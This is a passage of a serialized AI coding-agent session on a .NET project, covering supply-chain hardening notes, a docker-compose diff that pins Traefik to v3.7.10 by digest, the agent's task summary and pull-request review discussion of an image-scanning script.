Npgsql path). Fixing the image instead was rejected — it adds package surface to a Trivy-gated image. **Verified by loader trace** (`LD_DEBUG=libs` against a scram-sha-256 Postgres): `Prefer` dlopens `libgssapi_krb5.so.2`/`libkrb5.so.3`/`libkrb5support.so.0` even though the server never offers GSS; `Disable` produces **zero** gssapi/krb5 loader activity and connects identically — so under password auth there is no residual GSS-*auth* probing either. End-to-end confirmation on the managed cluster (deploy repo) is the only step left.\n - **Design-time migration connection fail-closed (#318):** `AppDbContextDesignTimeFactory` (used by `dotnet ef migrations add`/`database update`, never by the `migrate` verb, which uses the built host's own config) has **no default connection** — an unset/blank `CLUCKWORK_MIGRATIONS_CONNECTION` throws immediately, naming the variable, rather than falling back to a predictable `Host=localhost;...;Username=postgres;Password=postgres`. Every target is held to the **same allow-list TLS floor as a Production boot** (#261/#262, reused via `PostgresConnectionString.NormalizeAndValidate` — no second validator), except an explicitly acknowledged **loopback** development target: `CLUCKWORK_MIGRATIONS_ALLOW_INSECURE_LOOPBACK=true` permits plaintext, but only when the connection's host is `localhost`/`127.0.0.1`/`::1` (checked via `IPAddress.IsLoopback`) — set against any other host, it fails rather than silently widening scope.\n - **Container image hardening (#267):** the runtime stage runs **non-root** (`USER $APP_UID`, uid 1654 — the base image's built-in `app` account); all three base images are **digest-pinned** (`@sha256:…`, kept current by Dependabot's `docker` ecosystem); a CI job builds the image and **Trivy** fails the build on a *fixable* HIGH/CRITICAL. `aquasecurity/trivy-action` is **SHA-pinned** — the action was compromised in the 2026-03 supply-chain incident, so pin the immutable commit, not the re-pointable tag (this is the standing rule for third-party actions). Keep the full glibc base (tzdata + ICU per #264); never chiseled/Alpine.\n-- **Every image this repo names is digest-pinned AND scanned (#369).** #267 covers the image we *build*; this covers the ones we *reference*. **Any `image:` in a compose file must be `name:tag@sha256:…`** — both halves: the digest is what makes a pull reproducible and ties running bytes to scanned bytes, the tag is what makes staleness reviewable. That is enforced, not conventional: `.github/scripts/compose-images.mjs` (self-tested, `node --test`) enumerates every third-party pin in `deploy/` and **fails on a ref that is not digest-pinned**, then emits them as a matrix that `ci.yml` Trivy-scans per PR. The failure this closes is worth remembering, because *every* individual piece looked fine: Postgres was digest-pinned, Traefik was pinned to `v3.5` — a **release-branch** tag, which upstream silently stops moving once attention shifts to the next minor — and the Trivy step scanned `image-ref: cluckwork-api:ci`, the application image *only*. So the reference stack sat for eight months on a build with **57 fixable HIGH/CRITICAL** (a CRITICAL Go stdlib CVE among them) while the deploy repo read its production Traefik version out of that same file. **A digest pin is inert by construction** — it never floats to a fix — so pinning without a bump proposer converts \"silently drifts\" into \"silently rots\"; Dependabot's **`docker-compose` ecosystem** (a *separate* ecosystem from `docker`, which reads Dockerfiles and never looks at compose files) is what closes that loop. Four things are load-bearing and easy to \"simplify\" away: (1) the compose render must pass **`--profile '*'`** — `traefik` is behind `profiles: [\"prod\"]` and a plain render omits it *silently*, so the enumeration succeeds over a smaller set (measured: without the flag it exits 0 listing Postgres alone). That is **guarded**, because a render cannot detect its own omission: each bundle carries the file's **declared** profile list from `docker compose config --profiles` (which reports every profile a file declares regardless of which are enabled), and every declared profile must be carried by some rendered service. An earlier version compared `image:` **counts** between the source text and the render and was unsound — a count cannot tell \"one service dropped\" from \"one dropped and one gained\", and the line regex feeding it missed an inline `db: {image: …}`, so an undercount could *cancel* a dropped service (#379 review); (2) the enumerator reads **`docker compose config --format json`**, never raw YAML — same rule as `tools/simulation/verify-harness.sh`: assert the resolved value, and never hand-parse a format the tool that owns it will answer for you; (3) compose files are discovered **by content** (any file under `deploy/` with a top-level `services:` key), never by a `docker-compose*.yml` glob, which silently covers nothing named `compose.yml` or `stack.yml` (#379 review); (4) it refuses an **empty** image set, since a scan job over zero images is green and reads as \"all pins clean\". **`ignore-unfixed: true` is not sufficient on its own here** — it asks whether the *package* has a fix, but the actionable unit for a pin is the *image*, and those come apart when upstream has not rebuilt (postgres ships a `gosu` built against Go 1.24.6, so 15 HIGH/CRITICAL stdlib findings attach to the newest published image, with nothing to bump to). That gap is handled by **`.github/trivyignore.yaml`** — dated, per-CVE, **path-scoped** exceptions with a *required* `expired_at`, the same escape-hatch contract as `.github/security-exceptions.json`, and deliberately **not** applied to the application image's own scan. Never widen one to a wildcard and never demote the scan to advisory to avoid an entry: verified both directions — the ignore file clears postgres while `traefik:v3.5` still fails red through it.\n-- **Build-time scanning cannot answer \"still clean\" (#369).** `ci.yml` runs on `push`/`pull_request`, so a newly published advisory against an unchanged image has **no commit to fire on** — nothing changes, nothing runs, nothing looks. That is the precise mechanism by which the stale Traefik pin survived eight months. `.github/workflows/image-audit.yml` closes it on a **daily** cron (vs. `security-audit.yml`'s weekly, because a base-image CVE is fixed by an upstream rebuild that can land any day): it re-scans the third-party pins *and* the **published application image**, pulled from GHCR rather than rebuilt — a rebuild would take ~20 minutes and scan bytes that have never been deployed, which answers a question nobody asked (#351's premise is that the published digest *is* the artifact). It walks back up to 25 commits to find one with an image, because a `[skip ci]` in a commit message legitimately leaves `main` HEAD unpublished, and it **scans by digest**, not by the `:sha-` tag it looked the digest up under — that tag is mutable by anyone with `packages: write`, the same reason release promotion refuses to trust it.\n - **Container health probe (#266):** the runtime image **and** the compose `app` service carry a `HEALTHCHECK` that runs `dotnet Cluckwork.Api.dll healthcheck` — a **fourth run-then-exit CLI verb**, but **dispatched *before* host build** (`Program.cs`, `args is [HealthCheckCliCommand.Verb, ..]`), not via `CliDispatcher`: unlike `migrate`/`seed`/`recover-admin` — which operate on the built host — this one needs no host/DI/DB/config, so a 30s probe must not re-run the whole app startup or re-log boot warnings on every tick. The hardened image ships **no curl/wget** (#267), so the probe is **in-process**: it GETs `/health/ready` over loopback (port derived from `ASPNETCORE_URLS`, default `8080`) and exits `0` on a 2xx, `1` on any other status **or** an unreachable server (refused/timeout) — never a false green. So an instance whose `/health/ready` is 503 (DB down, migrations pending per #263) reports **unhealthy** and compose/an orchestrator stops routing to it. Its `ProbeAsync`/`DefaultReadyUrl` are unit-tested directly (no Docker). The CI `image` job (#267) now also **boots** the built image against a throwaway Postgres and asserts `/health/ready` goes green + the verb exits `0`, so an unbootable image fails CI instead of at deploy time — this is the **app-side of #266**. Deploy-side (the host's readiness path, wait-for-CI gate, post-deploy smoke) lives in the separate deployment/ops repo.\n - **Transient-DB retry, and where it stops (#269):** `EnableRetryOnFailure` (`Database:Resilience:*`, bounded — never infinite) makes a managed-Postgres failover or a dropped pooled connection retry instead of 500ing. It applies to everything EF runs as a **self-contained unit**: every read, and every `SaveChanges` outside a user-initiated transaction. It deliberately does **NOT** apply to a transaction that spans work which is not replayable, because a transaction cannot be *resumed* after a connection loss, only replayed from the start. **Four** such regions exist and all run through **`SingleAttemptExecution`** — inside the execution strategy (EF requires that to open the transaction at all) but **executed exactly once**: `IdempotencyMiddleware`'s request-wide transaction, which covers `next(context)` (replaying the pipeline re-consumes the single-use in-memory #308 step-up grant, and makes a state transition answer 422 for a request that already succeeded); `AmbientTransaction`'s **owned** path (a failed attempt's entities stay tracked as `Added` — EF never detaches them — so a replay flushes duplicate users/audit rows/refresh tokens); and **`FirstRunAdminService`'s whole lock → check → create region** (#350 review). That last one is the subtle case, and the reason \"the write is single-attempt\" is *not* sufficient on its own: `bootstrap-admin` guards \"exactly one first-run Owner\" with a **session-scoped** `pg_advisory_lock`, but the Owner/conflict **reads** that decide whether to create were ordinary EF units, so the strategy retried *them*, and a retry **reconnects** — dropping the lock and walking into the create unguarded (two invocations with different emails could each mint an Owner). Wrapping the whole region makes it one non-replayed attempt; on top of that the create is gated on **proving** ownership — `pg_locks … AND pid = pg_backend_pid()` — because EF also silently *replaces* a connection it finds no longer usable, with no exception and no retry to intercept. That proof is asked **twice**, and the second one is the load-bearing one (#350 review round 3): a check that merely precedes the write still returns before `AmbientTransaction` establishes the create transaction, and a connection replaced in *that* gap leaves the `INSERT` running on a backend that never took the lock while the check's `true` describes a backend that no longer exists. So `FirstRunAdminService` **owns the create transaction itself** and re-proves ownership as the first statement *inside* it — same backend as the `INSERT` by construction, and from there a connection loss aborts the transaction instead of reconnecting invisibly; `IdentityProvider.CreateUserAsync` simply **joins** it (`AmbientTransaction`'s ambient path, exactly as under #307's request-wide transaction), so the lock check is never imposed on the Users page or the seeders that share that method. The pre-transaction check is kept in front as one cheap round trip that refuses before a password is even generated. All **fail closed** (`Bootstrap.LockLost`, exit 1): a refused `bootstrap-admin` is re-runnable and idempotent, a second farm Owner is not undoable. Never widen a session-scoped lock's region without all three parts, and never let a *comment* claim continuity a point-in-time check cannot deliver — that overstatement is exactly how the write-side gap survived two review rounds. The **fourth** region is `AccountLockout`'s `AccessFailedAsync` **save** (#350 review round 4) and it is the one that shows \"unreplayable\" is not a synonym for \"transactional\": there is no transaction here at all, just a plain `SaveChanges` — textbook self-contained unit. What disqualifies it is the CALLER. Neither password oracle is idempotency-wrapped (login is anonymous so the tenant gate skips it; `/auth/step-up` is on `ResponseNotCacheable`), so the strategy replays that save; on the ambiguous commit the replay re-issues the `UPDATE` under the stale Identity `ConcurrencyStamp`, matches 0 rows, and returns `IdentityResult.Failed` — which the reload loop (correctly present, for genuine parallel writers) reads as \"lost a race\", reloading the **already-incremented** user and incrementing it **again**. One wrong password would then cost two failed accesses and lock at roughly half the #128 threshold — the same consequence that shipped once already on a different path in #336. Wrap the **save** only; the reload is an ordinary replayable read and keeps its retry. The test to write for this shape is not \"does it retry\" but **\"does one input produce exactly one effect\"**. What recovers a write instead is the **client retrying with the same `Idempotency-Key`**, which #307 already makes exactly-once — plus, for the narrow ambiguous commit (Postgres committed, the ack was lost), the middleware probes its own claim and **replays the response it published** rather than reporting a failure. Never fix a symptom of this by re-widening the retry, and never by a blanket `db.ChangeTracker.Clear()` on a context a longer-lived caller may share (that regression dropped `SimulationDataSeeder`'s pending writes). **But refusing to replay is not the answer to every instance of this shape** (#350 review round 5, found by sweeping for it rather than by report). The general hazard is *an automatic replay sitting above a **stateful detector*** — a monotonic counter, a CAS stamp, a single-use claim — where the detector cannot tell \"this request racing itself\" from the real signal it exists to detect. `SingleAttemptExecution` is the right cure only when **the replay itself is observable**, as with `AccessFailedAsync`'s second durable increment. The three auth-token sites are the other kind: EF wraps their statements in one transaction, so a replay after a lost commit ack writes **nothing** and a replay after a rolled-back attempt simply succeeds — the defect was the **catch misreading** the replay's failure, not the replay. There the fix is to **ask the database whether this attempt's own work is durable**, keyed on evidence nobody else could have produced (the hash of a 256-bit token the attempt minted and has not yet handed out): `IdentityProvider.RefreshAsync` (rotation — the severe one: it is *unrecoverable by retrying*, because the rotation is durable so the caller's cookie holds a revoked token while its live replacement was delivered to nobody), `LoginAsync`'s token `INSERT`, and — a replay damaging a *later* statement rather than its own — `AccountLockout.ResetFailedAccessCountAsync`, where Identity swallows the concurrency loss into a discarded `IdentityResult` and leaves the user tracked under a superseded stamp, which the refresh-token `INSERT` sharing that `DbContext` then re-flushed (a **correct** password answered 409 and issued no token). Ask the database first and classify second: which exception EF raises depends on statement ordering inside the batch, so branching on the exception type reads a coin flip. All three fail **closed** — the probe proves durability or the original error stands, so a session is never invented — and #176's anti-fork guarantee is untouched, because a competing consumer mints its *own* random token and can never write our hash. Measured, and pinned from both sides in `RetryBoundaryTests`: wrapping the rotation in `SingleAttemptExecution` fixes the reported bug **and regresses** the ordinary fail-before blip from 200 to 409. One instrument note that cost a review round: `TransientCommandFaultInterceptor(afterExecution: true)` is the ambiguous commit **only for a single-statement save** (no auto transaction to roll back); for a multi-statement one it is a fail-*before*, and using it there yields a green test with the defect fully present — reach for `TransientCommitFaultInterceptor`.\n - **Nullable enabled**, no unused usings (both are build-breaking).\n \n ## Secrets — never commit\n \n - `deploy/.env` is gitignored (real values). `deploy/.env.example` holds placeholders only.\n - Local API debug config uses `dotnet user-secrets` (keyed by `UserSecretsId` in `Cluckwork.Api.csproj`).\n - No hardcoded passwords/keys in source — GitGuardian scans PRs. Generate test credentials at runtime.\n \n ## Host-agnostic repo (deployment boundary)\n \n This repo is **host-portable** — it must build and run against any host without\n carrying provider-specific config. The app reads every environment specific from\n config/env (connection string, `RateLimiting:TrustedProxies`, `Seed:TimeZoneId`,\n Postgres `sslmode`, …) and **never names or branches on a hosting provider**.\n \n - **Stays here** (portable operational contract): the Dockerfile (incl. its\n `HEALTHCHECK`), `deploy/` compose as a local/reference stack, health probes\n (`/health/live`, `/health/ready`), the `migrate` / `seed` / `recover-admin` /\n `healthcheck` verbs, `.env.example`, and docs that state *requirements* (\"needs tzdata + ICU\",\n \"needs a trusted-proxy list\", \"needs TLS to Postgres\", \"a fronting CDN must\n respect origin cache headers\").\n - **Does NOT belong here** (goes to a **separate deployment/ops repo**):\n provider deploy manifests (`railway.json`, `fly.toml`), IaC (Terraform/Pulumi),\ndiff --git a/deploy/docker-compose.yml b/deploy/docker-compose.yml\nindex 1c219f7759f599d3726f6c14adabda4055076656..d172e33ea25c60c1a67f78dbd865c36b38630238 100644\n--- a/deploy/docker-compose.yml\n+++ b/deploy/docker-compose.yml\n@@ -85,59 +85,40 @@ services:\n # private bridge, so it too opts out of the TLS floor for this reference stack.\n Database__AllowInsecureConnection: \"true\"\n command: [\"migrate\"]\n restart: \"no\"\n depends_on:\n db:\n condition: service_healthy\n \n db:\n image: postgres:18.4-trixie@sha256:3a82e1f56c8f0f5616a11103ac3d47e632c3938698946a7ad26da0df1334744a\n env_file:\n - .env\n volumes:\n - cluckwork-postgres-pg18:/var/lib/postgresql\n healthcheck:\n test: [\"CMD-SHELL\", \"pg_isready -h 127.0.0.1 -U ${POSTGRES_USER} -d ${POSTGRES_DB}\"]\n interval: 10s\n timeout: 5s\n retries: 5\n \n traefik:\n # Prod-only TLS/host router. Local dev hits the API directly on :8080, so\n # traefik does not start with a bare `docker compose up`. Enable in prod\n # with `docker compose --profile prod up`.\n profiles: [\"prod\"]\n- # #369 — pinned by IMMUTABLE DIGEST, same as `db` above. A tag is a name and\n- # names move; worse, `v3.5` is a *release-branch* tag, so it silently stops\n- # moving once upstream's attention shifts to the next minor. It did: this\n- # read `traefik:v3.5` for eight months, resolving to v3.5.6 (2025-11-07) with\n- # 57 fixable HIGH/CRITICAL findings including a CRITICAL Go stdlib CVE — and\n- # the deploy repo took its production Traefik version from THIS file, so the\n- # rot propagated. A digest cannot rot silently: it either matches what CI\n- # scanned or the pull fails. Dependabot's `docker-compose` ecosystem\n- # (.github/dependabot.yml) opens the bump PR, and the third-party image scan\n- # in ci.yml + image-audit.yml confirms the new digest is clean.\n- #\n- # v3.7 vs v3.5, checked before bumping: `sanitizePath` has defaulted to true\n- # since v3.3.6, and the v3.6.7 `http.encodedCharacters.*` knobs all default\n- # to `true` (permissive) — so v3.7.10's DEFAULT path handling is identical to\n- # v3.5.6's, and this stack's router rule is `Host(...)` only, with no path\n- # matching and no path-rewriting middleware. Nothing here routes on the path,\n- # so there is no traefik/app split view to open. Set the encodedCharacters\n- # options to false only if you add path-based routing in front of a backend\n- # that decodes encoded reserved characters.\n image: traefik:v3.7.10@sha256:617c253c5d960e257ec153d582cc62f191461baba6863bd6b498ae062d3d5c19\n command:\n - --providers.docker=true\n - --providers.docker.exposedbydefault=false\n - --entrypoints.web.address=:80\n - --entrypoints.websecure.address=:443\n ports:\n - \"80:80\"\n - \"443:443\"\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock:ro\n - ./traefik:/etc/traefik/dynamic:ro\n \n volumes:\n cluckwork-postgres-pg18:\n","external_storage_diff",{"_979":980,"_981":-5},"files_modified","lines_added","lines_removed",1346,"commit_message","fix(deploy): narrow Traefik upgrade to pinned image","additional_parent_commit_shas",[],"file_id","file_00000000b64c81f7823678f5f8bf3d4e","ttl","partial_repo_snapshot","files",[985],{"_165":986,"_987":-5,"_988":989,"_990":-5},"deploy/docker-compose.yml","contents","line_range_contents",[991],"missing_reason",{"_992":338,"_993":994,"_430":995,"_996":62},"line_range_start","line_range_end",124,[997,998,999,1000,1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,203,1063,1064,1065,1066,1067,1068,1069,1070,1000,1001,1002,1003,1004,1005,1011,1012,1071,1072,1018,1073,1074,1041,1042,1043,203,1075,1076,1003,1004,1077,1078,1035,1079,1080,1038,1081,203,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1053,1093,1094,1077,1095,1096,203,1097,1098],"contains_end_of_file","services:"," # Bundled application: the .NET API serves the JSON API and the SPA (wwwroot)."," app:"," build:"," context: .."," dockerfile: src/Cluckwork.Api/Dockerfile"," env_file:"," - .env"," environment:"," # ASPNETCORE_ENVIRONMENT is intentionally UNSET → defaults to Production →"," # loads appsettings.Production.json (Database:MigrateOnStartup=false), so the"," # serving process never runs DDL (#263). Setting it to Development here would"," # silently re-enable boot-migration under the runtime credential — don't."," ASPNETCORE_URLS: http://+:8080"," Database__Provider: Postgres"," ConnectionStrings__Default: Host=db;Port=5432;Database=${POSTGRES_DB};Username=${POSTGRES_USER};Password=${POSTGRES_PASSWORD}"," # #262: this reference stack runs Production against a co-located Postgres over the"," # private compose bridge with no TLS, so the Production TLS floor would refuse to"," # boot. Opt out explicitly: plaintext over the internal bridge is acceptable HERE"," # (single host, db never published). A real deploy uses managed/TLS Postgres"," # (sslmode=Require min, VerifyFull+CA preferred) and NEVER sets this flag."," Database__AllowInsecureConnection: \"true\""," # #143: the auth rate limiter takes the client IP from X-Forwarded-For only"," # when the request arrives from a trusted proxy — traefik, on the compose"," # network (docker's default address pool). Override if your network differs;"," # without a trusted proxy the limiter would key on traefik's IP and throttle"," # all users as one client."," RateLimiting__TrustedProxies__0: ${TRUSTED_PROXY_CIDR:-172.16.0.0/12}"," # #144: pin host filtering to the public hostname traefik routes, so a"," # forged Host header is rejected (400). Loopback is always allowed, so the"," # container healthcheck (Host: localhost) keeps working. HSTS + CSP + the"," # other security headers are emitted automatically outside Development."," AllowedHosts: ${CLUCKWORK_HOST}"," # #266 — readiness probe. The image already carries this HEALTHCHECK; declared"," # here too so the stack's health is explicit and tunable. Runs the same"," # `healthcheck` verb inside the container (no curl/wget on the hardened image,"," # #267): exits non-zero until /health/ready is green (DB up + migrations"," # applied), so `docker compose` reports the app unhealthy until it can serve."," healthcheck:"," test: [\"CMD\", \"dotnet\", \"Cluckwork.Api.dll\", \"healthcheck\"]"," interval: 30s"," timeout: 5s"," retries: 3"," start_period: 30s"," depends_on:"," db:"," condition: service_healthy"," # #263 — the schema is migrated by the one-shot `migrate` job below (run"," # under the owner credential), not at request time. app serves with"," # Database:MigrateOnStartup=false (Production appsettings default), so a"," # least-privilege runtime role needs no DDL grant."," migrate:"," condition: service_completed_successfully"," # Direct local access at http://localhost:8080 (SPA + API), independent of"," # traefik. Bound to loopback only — never exposes the plaintext API to the"," # LAN. In prod, front with traefik/TLS (the 'prod' profile) instead."," ports:"," - \"127.0.0.1:8080:8080\""," labels:"," - traefik.enable=true"," - traefik.http.routers.cluckwork.rule=Host(`${CLUCKWORK_HOST}`)"," - traefik.http.routers.cluckwork.entrypoints=websecure"," - traefik.http.routers.cluckwork.tls=true"," - traefik.http.services.cluckwork.loadbalancer.server.port=8080"," # NOTE: traefik discovers this by container label, not the service name —"," # the rename to `app` needs no label changes."," # #263 — one-shot pre-deploy migration job: applies EF migrations (schema DDL)"," # then exits. The serving `app` waits for it (service_completed_successfully)"," # and runs with Database:MigrateOnStartup=false, so request-serving never runs"," # DDL. Here both use the single POSTGRES_USER; a real multi-role deploy points"," # THIS job at the owner/migrator credential and `app` at a least-privilege"," # runtime role (USAGE + DML, no DDL) — see AGENTS.md. `migrate` is a"," # run-then-exit verb on the same image (ENTRYPOINT dotnet Cluckwork.Api.dll)."," migrate:"," # #262: same as `app` — the migrate job also connects Production/plaintext over the"," # private bridge, so it too opts out of the TLS floor for this reference stack."," command: [\"migrate\"]"," restart: \"no\""," db:"," image: postgres:18.4-trixie@sha256:3a82e1f56c8f0f5616a11103ac3d47e632c3938698946a7ad26da0df1334744a"," volumes:"," - cluckwork-postgres-pg18:/var/lib/postgresql"," test: [\"CMD-SHELL\", \"pg_isready -h 127.0.0.1 -U ${POSTGRES_USER} -d ${POSTGRES_DB}\"]"," interval: 10s"," retries: 5"," traefik:"," # Prod-only TLS/host router. Local dev hits the API directly on :8080, so"," # traefik does not start with a bare `docker compose up`. Enable in prod"," # with `docker compose --profile prod up`."," profiles: [\"prod\"]"," image: traefik:v3.7.10@sha256:617c253c5d960e257ec153d582cc62f191461baba6863bd6b498ae062d3d5c19"," command:"," - --providers.docker=true"," - --providers.docker.exposedbydefault=false"," - --entrypoints.web.address=:80"," - --entrypoints.websecure.address=:443"," - \"80:80\""," - \"443:443\""," - /var/run/docker.sock:/var/run/docker.sock:ro"," - ./traefik:/etc/traefik/dynamic:ro","volumes:"," cluckwork-postgres-pg18:",[1100,1101,1102],{"_946":49,"_49":1107},{"_946":1104,"_165":986,"_992":1105,"_993":1106},{"_946":49,"_49":1103},"\n* Removed the broader third-party image scanning, scheduled audit, enumerator, ignore-file, Dependabot, and associated documentation changes.\n* Committed the changes as `572a3d8` (`fix(deploy): narrow Traefik upgrade to pinned image`).\n* Created the replacement pull request metadata with the title **“fix(deploy): narrow Traefik upgrade to the pinned v3.7.10 image.”**\n\n**Testing**\n\n* ✅ `git diff --cached --check`\n* ✅ `git status --porcelain` (clean working tree)\n* ⚠️ `docker compose --profile prod -f deploy/docker-compose.yml config -q` (Docker is not installed in the environment)","repo_file_citation",105,110,"### Summary\n\n* Narrowed the replacement change to only upgrade Traefik from `v3.5` to `v3.7.10` and pin the image to its immutable SHA-256 digest. ",{"_96":329,"_45":88,"_100":329,"_1110":1111,"_1112":1113,"_1114":1115,"_136":-5,"_123":1116},[87],"input_items",[1135,1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146],"external_post_config",{"_1117":1118,"_267":200,"_1119":309,"_278":-5,"_966":261,"_1120":-5,"_1121":-5,"_1122":1123,"_1124":1125,"_1126":-5,"_1127":-5,"_1128":1129,"_1130":18,"_1131":62,"_1132":57,"_1133":18,"_1134":-5},"user_model_slug","slug",1785648493.427705,"installation_id",150444056,"pr_number","gitlab_service_account_project_id","review_trigger","comment_id",5155644051,"comment_type","issue","pr_write_guard_token","pending_pr_reaction_id","pending_comment_reaction_id",391544090,"comment_if_no_findings","comment_on_error","share_url","is_parallel_review","review_summary_id",{"_96":438,"_100":329,"_430":1169},{"_316":317,"_318":319,"_1166":323,"_1167":133,"_325":-5,"_96":1168},{"_96":1147,"_318":1165,"_165":-5,"_1149":-5,"_1150":-5},{"_96":1147,"_318":1163,"_165":1152,"_1149":1153,"_1150":1164},{"_96":1147,"_318":1162,"_165":1157,"_1149":1153,"_1150":1158},{"_96":1147,"_318":1161,"_165":1155,"_1149":1153,"_1150":-5},{"_96":1147,"_318":1160,"_165":1152,"_1149":1153,"_1150":-5},{"_96":1147,"_318":1159,"_165":-5,"_1149":-5,"_1150":-5},{"_96":1147,"_318":1156,"_165":1157,"_1149":1153,"_1150":1158},{"_96":1147,"_318":1154,"_165":1155,"_1149":1153,"_1150":-5},{"_96":1147,"_318":1151,"_165":1152,"_1149":1153,"_1150":-5},{"_96":1147,"_318":1148,"_165":-5,"_1149":-5,"_1150":-5},"pull_request_comment","@codex all three findings are addressed — please re-review.\n\n- **P1 checkout before loading the ignore file** — `31f27a0`. Reproduced exactly (`cannot find ignorefile`); both scan jobs now check out. Also fixed the failure message that misreported it as CVEs in Traefik.\n- **P1 discover every compose file under deploy** — `1e5ee46`. Discovery is by content (top-level `services:` key) rather than a `docker-compose*.yml` glob. Verified with a `deploy/stack.yml` pinning `redis:7`: discovered and refused; invisible under the old glob.\n- **P2 compare identities instead of counts** — `1e5ee46`. Removed the count check rather than hardening its regex. Completeness is now \"every profile the file **declares** (`docker compose config --profiles`) must be carried by some rendered service\" — no counting, no source-text parsing, so neither the cancellation nor the inline-mapping hole can exist. Regression test covers your exact scenario.\n\nOne thing worth a look on re-review, since it is the part I'd most like challenged: `parseBundle` now refuses a bundle missing `declaredProfiles` instead of defaulting to `[]`, because a default would silently turn the completeness check into a no-op that still reports success. If there is a path where a bundle can be produced without that field and still reach the scan, that is a false green and I'd want to know.\n\nCI green on the previous head; re-running now.","side","line","Addressed in 1e5ee46 — and you were right that this needed a design change, not a better regex.\n\nI did not harden the parser. The count check violated the rule the file itself states (don't hand-parse a format the owning tool will answer for you), so I removed it entirely. `docker compose config --profiles` reports every profile a file **declares**, independently of which are enabled, and the resolved document records each service's own `profiles`. The check is now: **every declared profile must be carried by at least one rendered service.** Omit `--profile '*'` and `prod` is declared while nothing carries it, so the render is refused.\n\nThat is exact rather than heuristic: no counting, so no cancellation; no source-text parsing, so the inline-mapping hole cannot exist; and it is unaffected by how the YAML is written. It also stays sound when a service lists several profiles, since compose reports the whole list.\n\nEach input is now one bundle (`{source, declaredProfiles, config}`) instead of a `source=rendered` pair. `parseBundle` **refuses** a missing `declaredProfiles` rather than defaulting to `[]` — defaulting would turn the check into a no-op that still reports success, which is the same false-green shape.\n\nVerified both directions:\n- Rendering the real `deploy/docker-compose.yml` without `--profile '*'` → refused, naming the profile.\n- A regression test reproducing your exact scenario (a dropped profile-gated service alongside an extra image-bearing service, which the count check would have let through) → refused.\n- 43/43 self-tests pass.",".github/scripts/compose-images.mjs","RIGHT","Addressed in 1e5ee46. Agreed — the glob was a naming convention masquerading as a guarantee.\n\nDiscovery is now by **content**: any file under `deploy/` (maxdepth 1, `*.yml`/`*.yaml`) declaring a top-level `services:` key is rendered, paired and scanned. A candidate that then fails to render is a hard error, never a skip, and finding zero compose files fails loudly rather than reporting success over an empty set.\n\nVerified: dropped a `deploy/stack.yml` containing `image: redis:7` into the tree and re-ran the enumerator — it is discovered (3 files instead of 2) and refused:\n\n```\nthird-party image(s) are not pinned to an immutable digest:\n redis:7 (deploy/stack.yml:cache)\n```\n\nUnder the old glob that file was invisible.",".github/actions/third-party-image-pins/action.yml","Addressed in 31f27a0.\n\nCorrect and reproduced: the scan jobs pull their image from a registry, so they had no `actions/checkout`, and Trivy exited 1 with `ERROR: cannot find ignorefile '.github/trivyignore.yaml'`. Both `third-party-images` jobs now check out first.\n\nYour finding also exposed a second defect I've fixed alongside it: the `if: failure()` step reported this as \"traefik:v3.7.10 has fixable HIGH/CRITICAL findings\" — false, the pin is current and scans clean — which would have sent a reader off to bump a digest that had nothing wrong with it. A step that fails for two reasons must not name one of them. It now states only that the scan failed, lists the possibilities, and leaves the diagnosis to the scan output.\n\nVerified: both Trivy scan jobs pass on CI.",".github/workflows/image-audit.yml",90,"\n### 💡 Codex Review\n\nHere are some automated review suggestions for this pull request.\n\n**Reviewed commit:** `77a1400c7e`\n \n\n

ℹ️ About Codex in GitHub

","**_{_{![P2 Badge](https://img.shields.io/badge/P2-yellow?style=flat)}} Compare image-bearing service identities instead of counts**\n\nThe completeness guard compares only cardinality, and the raw regex misses valid inline mappings such as `db: { image: postgres:... }`. If that included service is written inline while another normally formatted image service is silently omitted from the render—for example after the load-bearing profile flag is removed—the missed raw declaration and dropped rendered declaration cancel out, the counts agree, and the omitted pin goes unscanned. Extract the source service identities with a YAML-aware check and compare them with the rendered identities.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.","**_{_{![P1 Badge](https://img.shields.io/badge/P1-orange?style=flat)}} Discover every compose file under deploy**\n\nThe glob covers only `deploy/docker-compose*.yml`, so a valid compose file named `compose.yml`, `stack.yml`, or `docker-compose.foo.yaml` is never rendered, paired, pin-validated, or emitted into the scan matrix; CI remains green even if that file introduces an unpinned or vulnerable image. Enumerate all supported compose filenames/extensions under `deploy/` rather than relying on this narrow naming convention.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.","**_{_{![P1 Badge](https://img.shields.io/badge/P1-orange?style=flat)}} Check out the repository before loading the ignore file**\n\nBoth `third-party-images` jobs start directly with `trivy-action`, but `trivyignores` is a workspace-relative path and GitHub Actions jobs do not share the checkout performed by `image-pins`. Consequently the scanner cannot load these exceptions—or treats them as absent—so the intended Postgres scan fails on the 15 acknowledged `gosu` findings instead of producing a vulnerability verdict. Add a checkout step to this matrix job and its counterpart in `ci.yml` before invoking Trivy.\n\nAGENTS.md reference: [AGENTS.md:L56-L56](https://github.com/mforce/cluckwork/blob/77a1400c7e06f264d12a23a29b4aa674eae0bf81/AGENTS.md#L56-L56)\n\nUseful? React with 👍 / 👎.","## CodeQL / Inefficient regular expression\n\nThis part of the regular expression may cause exponential backtracking on strings starting with '!/' and containing many repetitions of '!/'.\n\n[Show more details](https://github.com/mforce/cluckwork/security/code-scanning/119)",63,"@codex please review. Highest-value areas:\n\n1. `.github/scripts/compose-images.mjs` — this decides WHICH images get scanned, so a defect in it produces a *green* run over a smaller set rather than a red one. Specifically: is the `source=rendered` pairing + `image:` count cross-check actually sufficient to detect a render that silently dropped a service, or is there a shape where counts agree but a pin still goes unscanned?\n2. `.github/trivyignore.yaml` — 15 path-scoped exceptions for Go stdlib CVEs in postgres's `gosu`. Is the scoping tight enough that it cannot mask anything else, and is per-CVE-with-expiry the right call vs. demoting the third-party scan to advisory?\n3. `.github/workflows/image-audit.yml` — the 25-commit 